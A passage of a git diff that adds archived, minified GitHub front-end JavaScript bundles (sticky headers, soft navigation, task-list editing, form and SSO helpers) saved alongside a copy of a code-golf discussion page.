E=c.closest("include-fragment"),h=E.src;E.src="",E.src=h});function y(c,E){const h=c.currentTarget;if(h instanceof Element){for(const v of h.querySelectorAll("[data-show-on-error]"))v instanceof HTMLElement&&(v.hidden=!E);for(const v of h.querySelectorAll("[data-hide-on-error]"))v instanceof HTMLElement&&(v.hidden=E)}}t(y,"toggleElements");function p(c){y(c,!1)}t(p,"onLoad");function o(c){y(c,!0)}t(o,"onError");function a({currentTarget:c}){c instanceof Element&&i(c)}t(a,"loadDeferredContentByEvent");function i(c){const E=c.closest("details");E&&m(E)}t(i,"loadDeferredContent");function m(c){const E=c.getAttribute("data-deferred-details-content-url");if(E){c.removeAttribute("data-deferred-details-content-url");const h=c.querySelector("include-fragment, poll-include-fragment");h&&(h.src=E)}}t(m,"setIncludeFragmentSrc")},79775:(R,L,r)=>{r.d(L,{O3:()=>a,SX:()=>y,_g:()=>p,a8:()=>_,lB:()=>o});let d=0;const A=new Set;function _(i){A.add(i)}t(_,"observeStickyHeaderHeight");function y(i){A.delete(i)}t(y,"unobserveStickyHeaderHeight");function p(){return d}t(p,"getBaseStickyHeaderHeight");function o(i){d=i,i?document.body.style.setProperty("--base-sticky-header-height",`${i}px`):document.body.style.removeProperty("--base-sticky-header-height");for(const m of A)m(i)}t(o,"setBaseStickyHeaderHeight");const a="var(--base-sticky-header-height, 0px)"},55898:(R,L,r)=>{r.d(L,{H:()=>c});var d=r(30479),A=r(7739),_=r(64463),y=r(79775);let p=!1;const o=[];function a(){o.length?i():m()}t(a,"manageObservers");function i(){p||(window.addEventListener("resize",E),document.addEventListener("scroll",E),p=!0)}t(i,"addObservers");function m(){window.removeEventListener("resize",E),document.removeEventListener("scroll",E),p=!1}t(m,"removeObservers");function c(){h(!0)}t(c,"forceStickyRelayout");function E(){h()}t(E,"checkElementsForStickingHandler");function h(e=!1){for(const u of o)if(u.element.offsetHeight>0){const{element:b,placeholder:P,top:k}=u,B=b.getBoundingClientRect();if(P){const H=P.getBoundingClientRect();b.classList.contains("is-stuck")?H.top>D(b,k)?S(u):T(u):B.top<=D(b,k)?s(u):e&&T(u)}else B.top-D(b,k)<.1?s(u):S(u)}}t(h,"checkElementsForSticking");function v(e){const{position:u}=window.getComputedStyle(e);return/sticky/.test(u)}t(v,"browserHasSticky");function s({element:e,placeholder:u,top:b}){if(u){const P=e.getBoundingClientRect();I(e,D(e,b)),e.style.left=`${P.left}px`,e.style.width=`${P.width}px`,e.style.marginTop="0",e.style.position="fixed",u.style.display="block"}e.classList.add("is-stuck")}t(s,"pinSet");function S({element:e,placeholder:u}){u&&(e.style.position="static",e.style.marginTop=u.style.marginTop,u.style.display="none"),e.classList.remove("is-stuck")}t(S,"unpinSet");function T({element:e,placeholder:u,offsetParent:b,top:P}){if(u&&!(0,d.h)()){const k=e.getBoundingClientRect(),B=u.getBoundingClientRect();if(I(e,D(e,P)),e.style.left=`${B.left}px`,e.style.width=`${B.width}px`,b){const H=b.getBoundingClientRect();H.bottomb.element).indexOf(e);o.splice(u,1)}t(n,"removeSet");async function l(e){await A.C,C(e),h(),a()}t(l,"initializeSet"),(0,_.N7)(".js-sticky",{constructor:HTMLElement,add(e){!e.isConnected||l(e)},remove(e){n(e),a()}}),(0,_.N7)(".js-notification-top-shelf",{constructor:HTMLElement,add(e){g(e)},remove(){(0,y._g)()>0&&((0,y.lB)(0),f(),c())}}),(0,_.N7)(".js-notification-shelf-offset-top, .js-position-sticky",{constructor:HTMLElement,add:w});async function g(e){if(e.offsetParent===null)return;await A.C;const u=Math.floor(e.getBoundingClientRect().height);u>0&&((0,y.lB)(u),f(),c())}t(g,"initializeNotificationShelf");function f(){for(const e of document.querySelectorAll(".js-position-sticky, .js-notification-shelf-offset-top"))w(e)}t(f,"updateTopOffsets");function w(e){if(e.classList.contains("js-notification-top-shelf"))return;const u=parseInt(M(e))||0;I(e,u+(0,y._g)())}t(w,"updateTopOffset");function M(e){const u=e.getAttribute("data-original-top");if(u!=null)return u;const b=window.getComputedStyle(e).top;return e.setAttribute("data-original-top",b),b}t(M,"getOriginalTop");function D(e,u){return e.classList.contains("js-notification-top-shelf")?u:u+(0,y._g)()}t(D,"withShelfOffset");function I(e,u){e.style.setProperty("top",`${u}px`,"important")}t(I,"setTopImportant")},84818:(R,L,r)=>{r.d(L,{Z:()=>A});class d{getItem(){return null}setItem(){}removeItem(){}clear(){}key(){return null}get length(){return 0}}t(d,"NoOpStorage");function A(_,y={throwQuotaErrorsOnSet:!1},p=window){let o;try{o=p[_]}catch{o=new d}const{throwQuotaErrorsOnSet:a}=y;function i(E){try{return o.getItem(E)}catch{return null}}t(i,"getItem");function m(E,h){try{o.setItem(E,h)}catch(v){if(a&&v.message.toLowerCase().includes("quota"))throw v}}t(m,"setItem");function c(E){try{o.removeItem(E)}catch{}}return t(c,"removeItem"),{getItem:i,setItem:m,removeItem:c}}t(A,"safeStorage")},24216:(R,L,r)=>{r.d(L,{LS:()=>_,cl:()=>y,rV:()=>A});var d=r(84818);const{getItem:A,setItem:_,removeItem:y}=(0,d.Z)("sessionStorage")},29946:(R,L,r)=>{r.d(L,{Ak:()=>s,F2:()=>w,F6:()=>n,FP:()=>h,LD:()=>E,OE:()=>c,Po:()=>m,QE:()=>y,Rl:()=>g,Xk:()=>O,Ys:()=>C,aN:()=>f,wP:()=>l});var d=r(24216),A=r(47930),_=r(45922);const y=Object.freeze({INITIAL:"soft-nav:initial",SUCCESS:"soft-nav:success",ERROR:"soft-nav:error",FRAME_UPDATE:"soft-nav:frame-update",START:"soft-nav:start",END:"soft-nav:end"}),p="soft-navigation-fail",o="soft-navigation-referrer",a="soft-navigation-marker",i="reload";function m(){return(0,d.rV)(a)==="1"}t(m,"inSoftNavigation");function c(){return Boolean(S())}t(c,"hasSoftNavFailure");function E(){performance.mark(a),(0,d.LS)(a,"1"),(0,d.LS)(o,(0,A.S)()||window.location.href)}t(E,"startSoftNav");function h(){(0,d.LS)(a,"0")}t(h,"endSoftNav");function v(){(0,d.LS)(a,"0"),(0,d.cl)(o),(0,d.cl)(p)}t(v,"clearSoftNav");function s(M){(0,d.LS)(p,M||i)}t(s,"setSoftNavFailReason");function S(){return(0,d.rV)(p)}t(S,"getSoftNavFailReason");let T=0;function O(){T+=1,document.dispatchEvent(new CustomEvent(y.SUCCESS,{detail:T}))}t(O,"softNavSucceeded");function C(){const M=S()||i;document.dispatchEvent(new CustomEvent(y.ERROR,{detail:M})),T=0,v(),(0,_.b)({turboFailureReason:M})}t(C,"softNavFailed");function n(){document.dispatchEvent(new CustomEvent(y.INITIAL)),T=0,v()}t(n,"softNavInitial");function l(){return(0,d.rV)(o)||document.referrer}t(l,"getSoftNavReferrer");function g(){return performance.getEntriesByName(a).length===0?0:performance.measure(a,a).duration}t(g,"getDurationSinceLastSoftNav");function f(){document.dispatchEvent(new Event(y.START))}t(f,"beginProgressBar");function w(){document.dispatchEvent(new Event(y.END))}t(w,"completeProgressBar")},11820:(R,L,r)=>{r.d(L,{kc:()=>y,lA:()=>p,zT:()=>_});var d=r(61161),A=r(55898);function _(o){if(o.hasAttribute("data-ignore-sticky-scroll"))return;const a=o.ownerDocument;setTimeout(()=>{a&&a.defaultView&&(o.scrollIntoView(),a.defaultView.scrollBy(0,-p(a)))},0)}t(_,"scrollIntoView");function y(o){const a=(0,d.Kt)(o);a&&_(a)}t(y,"scrollToFragmentTarget");function p(o){(0,A.H)();const a=o.querySelectorAll(".js-sticky-offset-scroll"),i=o.querySelectorAll(".js-position-sticky"),m=Math.max(0,...Array.from(a).map(h=>{const{top:v,height:s}=h.getBoundingClientRect();return v===0?s:0}))+Math.max(0,...Array.from(i).map(h=>{const{top:v,height:s}=h.getBoundingClientRect(),S=parseInt(getComputedStyle(h).top);if(!h.parentElement)return 0;const T=h.parentElement.getBoundingClientRect().top;return v===S&&T<0?s:0})),c=o.querySelectorAll(".js-position-sticky-stacked"),E=Array.from(c).reduce((h,v)=>{const{height:s,top:S}=v.getBoundingClientRect(),T=S<0,O=v.classList.contains("is-stuck");return h+(!T&&O?s:0)},0);return m+E}t(p,"computeFixedYOffset")},78965:(R,L,r)=>{r.d(L,{H5:()=>i,Of:()=>E,x0:()=>c,z8:()=>m});var d=r(55741),A=r(64463),_=r(12981),y=r(96776),p=r(6170);const o=new WeakMap,a={};function i(){for(const S of Object.keys(a))delete a[S];const s=history.state||{};s.staleRecords=a,(0,p.lO)(s,"",location.href),window.location.reload()}t(i,"reload");function m(){if(Object.keys(a).length>0){const s=history.state||{};s.staleRecords=a,(0,p.lO)(s,"",location.href)}}t(m,"registerStaleRecords");async function c(s){if(o.get(s))return;const S=s.hasAttribute("data-retain-focus"),T=s.getAttribute("data-url");if(!T)throw new Error("could not get url");const O=new AbortController;o.set(s,O);try{const C=await fetch(T,{signal:O.signal,headers:{Accept:"text/html","X-Requested-With":"XMLHttpRequest"}});if(!C.ok)return;const n=await C.text();if((0,d.M)(s,S)){console.warn("Failed to update content with interactions",s);return}return a[T]=n,h(s,n,S)}catch{}finally{o.delete(s)}}t(c,"updateContent");async function E(s,S,T=!1){const O=o.get(s);O==null||O.abort();const C=s.closest(".js-updatable-content[data-url], .js-updatable-content [data-url]");return!T&&C&&C===s&&(a[C.getAttribute("data-url")||""]=S),h(s,S)}t(E,"replaceContent");function h(s,S,T=!1){return(0,y._8)(document,()=>{const O=(0,_.r)(document,S.trim()),C=T&&s.ownerDocument&&s===s.ownerDocument.activeElement?O.querySelector("*"):null,n=Array.from(s.querySelectorAll("details[open][id]")).map(l=>l.id);s.tagName==="DETAILS"&&s.id&&s.hasAttribute("open")&&n.push(s.id);for(const l of s.querySelectorAll(".js-updatable-content-preserve-scroll-position")){const g=l.getAttribute("data-updatable-content-scroll-position-id")||"";v.set(g,l.scrollTop)}for(const l of n){const g=O.querySelector(`#${l}`);g&&g.setAttribute("open","")}s.replaceWith(O),C instanceof HTMLElement&&C.focus()})}t(h,"replace");const v=new Map;(0,A.N7)(".js-updatable-content-preserve-scroll-position",{constructor:HTMLElement,add(s){const S=s.getAttribute("data-updatable-content-scroll-position-id");if(!S)return;const T=v.get(S);T!=null&&(s.scrollTop=T)}})}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_behaviors_details_ts-app_assets_modules_github_behaviors_include-fr-a5a4c7-5a4c6c94cf6d.js.map \ No newline at end of file diff --git a/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js new file mode 100644 index 0000000..005869f --- /dev/null +++ b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js @@ -0,0 +1,14 @@ +"use strict";(()=>{var ne=Object.defineProperty;var s=(M,w)=>ne(M,"name",{value:w,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-af52ef"],{7679:(M,w,c)=>{c.d(w,{H:()=>f,v:()=>p});var h=c(59753);function p(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!1)}s(p,"showGlobalError");function f(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!0)}s(f,"hideGlobalError"),(0,h.on)("deprecatedAjaxError","[data-remote]",function(l){const r=l.detail,{error:d,text:E}=r;l.currentTarget===l.target&&(d==="abort"||d==="canceled"||(/{c.d(w,{Ty:()=>p,YE:()=>f,Zf:()=>l});var h=c(11793);const p=s(()=>{const r=document.querySelector("meta[name=keyboard-shortcuts-preference]");return r?r.content==="all":!0},"areCharacterKeyShortcutsEnabled"),f=s(r=>/Enter|Arrow|Escape|Meta|Control|Esc/.test(r)||r.includes("Alt")&&r.includes("Shift"),"isNonCharacterKeyShortcut"),l=s(r=>{const d=(0,h.EL)(r);return p()?!0:f(d)},"isShortcutAllowed")},72669:(M,w,c)=>{c.d(w,{L$:()=>E,nj:()=>g});var h=c(6741),p=c(59753),f=c(40987),l=c(64463),r=c(65935),d=c(56238);(0,l.N7)(".js-task-list-container .js-task-list-field",function(e){const o=e.closest(".js-task-list-container");E(o),q(o)}),(0,p.on)("task-lists-move","task-lists",function(e){const{src:o,dst:t}=e.detail,u=e.currentTarget.closest(".js-task-list-container");m(u,"reordered",{operation:"move",src:o,dst:t})}),(0,p.on)("task-lists-check","task-lists",function(e){const{position:o,checked:t}=e.detail,u=e.currentTarget.closest(".js-task-list-container");m(u,`checked:${t?1:0}`,{operation:"check",position:o,checked:t})});function E(e){if(e.querySelector(".js-task-list-field")){const o=e.querySelectorAll("task-lists");for(const t of o)if(t instanceof f.Z){t.disabled=!1;const u=t.querySelectorAll("button");for(const T of u)T.disabled=!1}}}s(E,"enableTaskList");function g(e){for(const o of e.querySelectorAll("task-lists"))if(o instanceof f.Z){o.disabled=!0;const t=o.querySelectorAll("button");for(const u of t)u.disabled=!0}}s(g,"disableTaskList");function m(e,o,t){const u=e.querySelector(".js-comment-update");g(e),q(e);const T=u.elements.namedItem("task_list_track");T instanceof Element&&T.remove();const y=u.elements.namedItem("task_list_operation");y instanceof Element&&y.remove();const A=document.createElement("input");A.setAttribute("type","hidden"),A.setAttribute("name","task_list_track"),A.setAttribute("value",o),u.appendChild(A);const k=document.createElement("input");if(k.setAttribute("type","hidden"),k.setAttribute("name","task_list_operation"),k.setAttribute("value",JSON.stringify(t)),u.appendChild(k),!u.elements.namedItem("task_list_key")){const O=u.querySelector(".js-task-list-field").getAttribute("name").split("[")[0],I=document.createElement("input");I.setAttribute("type","hidden"),I.setAttribute("name","task_list_key"),I.setAttribute("value",O),u.appendChild(I)}e.classList.remove("is-comment-stale"),(0,d.Bt)(u)}s(m,"saveTaskList"),(0,r.AC)(".js-task-list-container .js-comment-update",async function(e,o){const t=e.closest(".js-task-list-container"),u=e.elements.namedItem("task_list_track");u instanceof Element&&u.remove();const T=e.elements.namedItem("task_list_operation");T instanceof Element&&T.remove();let y;try{y=await o.json()}catch(A){let k;try{k=JSON.parse(A.response.text)}catch{}if(k&&k.stale){const C=t.querySelector(".js-task-list-field");C.classList.add("session-resumable-canceled"),C.classList.remove("js-session-resumable")}else A.response.status===422||window.location.reload()}y&&(T&&y.json.source&&(t.querySelector(".js-task-list-field").value=y.json.source),E(t),requestAnimationFrame(()=>q(t)))});let v=!1,_=!1,L=null;function i(e){e.inputType==="insertLineBreak"?v=!0:v=!1}s(i,"tryAutoCompleteOnBeforeInput");function a(e){const o=e;if(!v&&!(o.inputType==="insertLineBreak"))return;const t=o.target;n(t),v=!1}s(a,"autoCompleteOnInput");function n(e){const o=Y(e.value,[e.selectionStart,e.selectionEnd]);o!==void 0&&b(e,o)}s(n,"listAutocomplete");function b(e,o){if(L===null||L===!0){e.contentEditable="true";try{v=!1;let t;o.commandId===X.insertText?(t=o.autocompletePrefix,o.writeSelection[0]!==null&&o.writeSelection[1]!==null&&(e.selectionStart=o.writeSelection[0],e.selectionEnd=o.writeSelection[1])):e.selectionStart=o.selection[0],L=document.execCommand(o.commandId,!1,t)}catch{L=!1}e.contentEditable="false"}if(!L){try{document.execCommand("ms-beginUndoUnit")}catch{}e.value=o.text;try{document.execCommand("ms-endUndoUnit")}catch{}e.dispatchEvent(new CustomEvent("input",{bubbles:!0,cancelable:!0}))}o.selection[0]!=null&&o.selection[1]!=null&&(e.selectionStart=o.selection[0],e.selectionEnd=o.selection[1])}s(b,"updateElementText");function S(e){if(_)return;const o=e;if(o.key==="Enter"&&o.shiftKey&&!o.metaKey){const t=o.target,u=G(t.value,[t.selectionStart,t.selectionEnd]);if(u===void 0)return;b(t,u),o.preventDefault(),(0,p.f)(t,"change")}}s(S,"handleShiftEnter");function R(){_=!0}s(R,"onCompositionStart");function j(){_=!1}s(j,"onCompositionEnd");function H(e){if(_)return;const o=e;if(o.key==="Escape"){ee(e);return}if(o.key!=="Tab")return;const t=o.target,u=Q(t.value,[t.selectionStart,t.selectionEnd],o.shiftKey);u!==void 0&&(o.preventDefault(),b(t,u))}s(H,"updateIndentation"),(0,l.N7)(".js-task-list-field",{subscribe:e=>(0,h.qC)((0,h.RB)(e,"keydown",H),(0,h.RB)(e,"keydown",S),(0,h.RB)(e,"beforeinput",i),(0,h.RB)(e,"input",a),(0,h.RB)(e,"compositionstart",R),(0,h.RB)(e,"compositionend",j))});var X=(e=>(e.insertText="insertText",e.delete="delete",e))(X||{});const Z=/^(\s*)?/;function G(e,o){const t=o[0];if(!t||!e)return;const u=e.substring(0,t).split(` +`),T=u[u.length-1],y=T==null?void 0:T.match(Z);if(!y)return;const k=` +${y[1]||""}`;return{text:e.substring(0,t)+k+e.substring(t),autocompletePrefix:k,selection:[t+k.length,t+k.length],commandId:"insertText",writeSelection:[null,null]}}s(G,"addSoftNewline");const z=/^(\s*)([*-]|(\d+)\.)\s(\[[\sx]\]\s)?/;function J(e,o){let t=e.split(` +`);return t=t.map(u=>{if(u.replace(/^\s+/,"").startsWith(`${o}.`)){const T=u.replace(`${o}`,`${o+1}`);return o+=1,T}return u}),t.join(` +`)}s(J,"updateRemainingNumberBullets");function Y(e,o){const t=o[0];if(!t||!e)return;const u=e.substring(0,t).split(` +`),T=u[u.length-2],y=T==null?void 0:T.match(z);if(!y)return;const A=y[0],k=y[1],C=y[2],x=parseInt(y[3],10),O=Boolean(y[4]),I=!isNaN(x);let B=`${I?`${x+1}.`:C} ${O?"[ ] ":""}`,W=e.indexOf(` +`,t);W<0&&(W=e.length);const K=e.substring(t,W);if(K.startsWith(B)&&(B=""),T.replace(A,"").trim().length>0||K.trim().length>0){let P=`${k}${B}`,D=e.substring(t);const F=P.length;let U=[null,null];const te=/^\s*$/g;let V=e.substring(0,t)+P+D;return I&&!e.substring(t).match(te)&&(D=J(e.substring(t),x+1),P+=D,U=[t,t+P.length],V=e.substring(0,t)+P),{text:V,autocompletePrefix:P,selection:[t+F,t+F],commandId:"insertText",writeSelection:U}}else{const P=t-` +${A}`.length;return{autocompletePrefix:"",text:e.substring(0,P)+e.substring(t),selection:[P,P],commandId:"delete",writeSelection:[null,null]}}}s(Y,"autocompletedList");function Q(e,o,t){const u=o[0]||0,T=o[1]||u;if(o[0]===null||u===T)return;const y=e.substring(0,u).lastIndexOf(` +`)+1,A=e.indexOf(` +`,T-1),k=A>0?A:e.length-1,C=e.substring(y,k).split(` +`);let x=!1,O=0,I=0;const N=[];for(const $ of C){const P=$.match(/^\s*/);if(P){let D=P[0];const F=$.substring(D.length);if(t){const U=D.length;D=D.slice(0,-2),O=x?O:D.length-U,x=!0,I+=D.length-U}else D+=" ",O=2,I+=2;N.push(D+F)}}const B=N.join(` +`),W=e.substring(0,y)+B+e.substring(k),K=[Math.max(y,u+O),T+I];return{text:W,selection:K,autocompletePrefix:B,commandId:"insertText",writeSelection:[y,k]}}s(Q,"indent");function ee(e){const t=e.target;t.selectionDirection==="backward"?t.selectionEnd=t.selectionStart:t.selectionStart=t.selectionEnd}s(ee,"deselectText");function q(e){if(document.querySelectorAll("tracked-issues-progress").length===0||e.closest(".js-timeline-item"))return;const t=e.querySelectorAll(".js-comment-body [type=checkbox]"),u=t.length,T=Array.from(t).filter(A=>A.checked).length,y=document.querySelectorAll("tracked-issues-progress[data-type=checklist]");for(const A of y)A.setAttribute("data-completed",String(T)),A.setAttribute("data-total",String(u))}s(q,"updateProgress")},12737:(M,w,c)=>{c.d(w,{W:()=>p});var h=c(59753);async function p(f){const r=document.querySelector("#site-details-dialog").content.cloneNode(!0),d=r.querySelector("details"),E=d.querySelector("details-dialog"),g=d.querySelector(".js-details-dialog-spinner");f.detailsClass&&d.classList.add(...f.detailsClass.split(" ")),f.dialogClass&&E.classList.add(...f.dialogClass.split(" ")),f.label?E.setAttribute("aria-label",f.label):f.labelledBy&&E.setAttribute("aria-labelledby",f.labelledBy),document.body.append(r);const m=await f.content;return g.remove(),E.prepend(m),d.addEventListener("toggle",()=>{d.hasAttribute("open")||((0,h.f)(E,"dialog:remove"),d.remove())}),E}s(p,"dialog")},29719:(M,w,c)=>{c.d(w,{D:()=>l,a:()=>f});var h=c(17463),p=c(12981);async function f(r,d,E){const g=new Request(d,E);g.headers.append("X-Requested-With","XMLHttpRequest");const m=await self.fetch(g);if(m.status<200||m.status>=300)throw new Error(`HTTP ${m.status}${m.statusText||""}`);return(0,h.t)((0,h.P)(r),m),(0,p.r)(r,await m.text())}s(f,"fetchSafeDocumentFragment");function l(r,d,E=1e3){return s(async function g(m){const v=new Request(r,d);v.headers.append("X-Requested-With","XMLHttpRequest");const _=await self.fetch(v);if(_.status<200||_.status>=300)throw new Error(`HTTP ${_.status}${_.statusText||""}`);if(_.status===200)return _;if(_.status===202)return await new Promise(L=>setTimeout(L,m)),g(m*1.5);throw new Error(`Unexpected ${_.status} response status from poll endpoint`)},"poll")(E)}s(l,"fetchPoll")},56238:(M,w,c)=>{c.d(w,{Bt:()=>r,DN:()=>g,KL:()=>_,Se:()=>E,qC:()=>L,sw:()=>m});var h=c(59753),p=c(2061),f=c(7679);(0,h.on)("click",".js-remote-submit-button",async function(i){const n=i.currentTarget.form;i.preventDefault();let b;try{b=await fetch(n.action,{method:n.method,body:new FormData(n),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}b&&!b.ok&&(0,f.v)()});function l(i,a,n){return i.dispatchEvent(new CustomEvent(a,{bubbles:!0,cancelable:n}))}s(l,"fire");function r(i,a){a&&(d(i,a),(0,p.j)(a)),l(i,"submit",!0)&&i.submit()}s(r,"requestSubmit");function d(i,a){if(!(i instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(a instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(a.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!i||i!==a.form)throw new Error("The specified element is not owned by the form element.")}s(d,"checkButtonValidity");function E(i,a){if(typeof a=="boolean")if(i instanceof HTMLInputElement)i.checked=a;else throw new TypeError("only checkboxes can be set to boolean value");else{if(i.type==="checkbox")throw new TypeError("checkbox can't be set to string value");i.value=a}l(i,"change",!1)}s(E,"changeValue");function g(i,a){for(const n in a){const b=a[n],S=i.elements.namedItem(n);(S instanceof HTMLInputElement||S instanceof HTMLTextAreaElement)&&(S.value=b)}}s(g,"fillFormValues");function m(i){if(!(i instanceof HTMLElement))return!1;const a=i.nodeName.toLowerCase(),n=(i.getAttribute("type")||"").toLowerCase();return a==="select"||a==="textarea"||a==="input"&&n!=="submit"&&n!=="reset"||i.isContentEditable}s(m,"isFormField");function v(i){return new URLSearchParams(i)}s(v,"searchParamsFromFormData");function _(i,a){const n=new URLSearchParams(i.search),b=v(a);for(const[S,R]of b)n.append(S,R);return n.toString()}s(_,"combineGetFormSearchParams");function L(i){return v(new FormData(i)).toString()}s(L,"serialize")},55741:(M,w,c)=>{c.d(w,{M:()=>f,T:()=>l});var h=c(14840),p=c(56238);function f(n,b=!1){return l(n)||v(n,b)||i(n)||a(n)}s(f,"hasInteractions");function l(n){for(const b of n.querySelectorAll("input, textarea"))if((b instanceof HTMLInputElement||b instanceof HTMLTextAreaElement)&&r(b))return!0;return!1}s(l,"hasDirtyFields");function r(n){if(n instanceof HTMLInputElement&&(n.type==="checkbox"||n.type==="radio")){if(n.checked!==n.defaultChecked)return!0}else if(n.value!==n.defaultValue)return!0;return!1}s(r,"formFieldValueChanged");let d;async function E(n,b){d=n;try{await b()}finally{d=null}}s(E,"withActiveElement");function g(n){return d instanceof Element?d:n&&n.ownerDocument&&n.ownerDocument.activeElement?n.ownerDocument.activeElement:null}s(g,"getActiveElement");let m;document.addEventListener("mouseup",function(n){m=n.target});function v(n,b){const S=g(n);return S===null||b&&S===n?!1:S===n&&(0,p.sw)(S)||n.contains(S)&&!L(S)?!0:m instanceof Element&&n.contains(m)&&!!m.closest("details[open] > summary")}s(v,"hasFocus");const _="a[href], button";function L(n){var b;if(n instanceof h.Z)return!0;const S=n instanceof HTMLAnchorElement||n instanceof HTMLButtonElement,R=(b=n.parentElement)==null?void 0:b.classList.contains("task-list-item");if(S&&R)return!0;if(!(m instanceof Element))return!1;const j=n.closest(_);if(!j)return!1;const H=m.closest(_);return j===H}s(L,"activeElementIsSafe");function i(n){return n.matches(":active:enabled")}s(i,"hasMousedown");function a(n){return!!(n.closest(".is-dirty")||n.querySelector(".is-dirty"))}s(a,"markedAsDirty")},17463:(M,w,c)=>{c.d(w,{P:()=>h,t:()=>f});function h(l){const r=[...l.querySelectorAll("meta[name=html-safe-nonce]")].map(d=>d.content);if(r.length<1)throw new Error("could not find html-safe-nonce on document");return r}s(h,"getDocumentHtmlSafeNonces");class p extends Error{constructor(r,d){super(`${r} for HTTP ${d.status}`);this.response=d}}s(p,"ResponseError");function f(l,r,d=!1){const E=r.headers.get("content-type")||"";if(!d&&!E.startsWith("text/html"))throw new p(`expected response with text/html, but was ${E}`,r);if(d&&!(E.startsWith("text/html")||E.startsWith("application/json")))throw new p(`expected response with text/html or application/json, but was ${E}`,r);const g=r.headers.get("x-html-safe");if(g){if(!l.includes(g))throw new p("response X-HTML-Safe nonce did not match",r)}else throw new p("missing X-HTML-Safe nonce",r)}s(f,"verifyResponseHtmlSafeNonce")},45075:(M,w,c)=>{c.d(w,{ZG:()=>r,q6:()=>E,w4:()=>d});var h=c(8439);let p=!1;const f=new h.Z;function l(g){const m=g.target;if(m instanceof HTMLElement&&m.nodeType!==Node.DOCUMENT_NODE)for(const v of f.matches(m))v.data.call(null,m)}s(l,"handleFocus");function r(g,m){p||(p=!0,document.addEventListener("focus",l,!0)),f.add(g,m),document.activeElement instanceof HTMLElement&&document.activeElement.matches(g)&&m(document.activeElement)}s(r,"onFocus");function d(g,m,v){function _(L){const i=L.currentTarget;!i||(i.removeEventListener(g,v),i.removeEventListener("blur",_))}s(_,"blurHandler"),r(m,function(L){L.addEventListener(g,v),L.addEventListener("blur",_)})}s(d,"onKey");function E(g,m){function v(_){const{currentTarget:L}=_;!L||(L.removeEventListener("input",m),L.removeEventListener("blur",v))}s(v,"blurHandler"),r(g,function(_){_.addEventListener("input",m),_.addEventListener("blur",v)})}s(E,"onInput")},2061:(M,w,c)=>{c.d(w,{j:()=>h,u:()=>p});function h(f){const l=f.closest("form");if(!(l instanceof HTMLFormElement))return;let r=p(l);if(f.name){const d=f.matches("input[type=submit]")?"Submit":"",E=f.value||d;r||(r=document.createElement("input"),r.type="hidden",r.classList.add("is-submit-button-value"),l.prepend(r)),r.name=f.name,r.value=E}else r&&r.remove()}s(h,"persistSubmitButtonValue");function p(f){const l=f.querySelector("input.is-submit-button-value");return l instanceof HTMLInputElement?l:null}s(p,"findPersistedSubmitButtonValue")},25833:(M,w,c)=>{c.d(w,{Z:()=>L});var h=c(12737),p=c(29719),f=c(64463);function l(i){return new Promise(a=>{i.addEventListener("dialog:remove",a,{once:!0})})}s(l,"waitForDialogClose");function r(i){const a=document.querySelector(".sso-modal");!a||(a.classList.remove("success","error"),i?a.classList.add("success"):a.classList.add("error"))}s(r,"setModalStatus");function d(i){const a=document.querySelector("meta[name=sso-expires-around]");a&&a.setAttribute("content",i)}s(d,"updateExpiresAroundTag");async function E(){const i=document.querySelector("link[rel=sso-modal]"),a=await(0,h.W)({content:(0,p.a)(document,i.href),dialogClass:"sso-modal"});let n=null;const b=window.external;if(b.ssoComplete=function(S){S.error?(n=!1,r(n)):(n=!0,r(n),d(S.expiresAround),window.focus()),b.ssoComplete=null},await l(a),!n)throw new Error("sso prompt canceled")}s(E,"ssoPrompt"),(0,f.N7)(".js-sso-modal-complete",function(i){if(window.opener&&window.opener.external.ssoComplete){const a=i.getAttribute("data-error"),n=i.getAttribute("data-expires-around");window.opener.external.ssoComplete({error:a,expiresAround:n}),window.close()}else{const a=i.getAttribute("data-fallback-url");a&&(window.location.href=a)}});function g(i){if(!(i instanceof HTMLMetaElement))return!0;const a=parseInt(i.content);return new Date().getTime()/1e3>a}s(g,"expiresSoon");async function m(){const i=document.querySelector("link[rel=sso-session]"),a=document.querySelector("meta[name=sso-expires-around]");if(!(i instanceof HTMLLinkElement)||!g(a))return!0;const n=i.href;return await(await fetch(n,{headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})).json()}s(m,"fetchSsoStatus");let v=null;function _(){v=null}s(_,"clearActiveSsoPrompt");async function L(){await m()||(v||(v=E().then(_).catch(_)),await v)}s(L,"__WEBPACK_DEFAULT_EXPORT__")},6741:(M,w,c)=>{c.d(w,{RB:()=>p,qC:()=>f,w0:()=>h});class h{constructor(r){this.closed=!1,this.unsubscribe=()=>{r(),this.closed=!0}}}s(h,"Subscription");function p(l,r,d,E={capture:!1}){return l.addEventListener(r,d,E),new h(()=>{l.removeEventListener(r,d,E)})}s(p,"fromEvent");function f(...l){return new h(()=>{for(const r of l)r.unsubscribe()})}s(f,"compose")}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-af52ef-e439d69777c7.js.map \ No newline at end of file diff --git a/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js new file mode 100644 index 0000000..f4bf598 --- /dev/null +++ b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js @@ -0,0 +1,3 @@ +"use 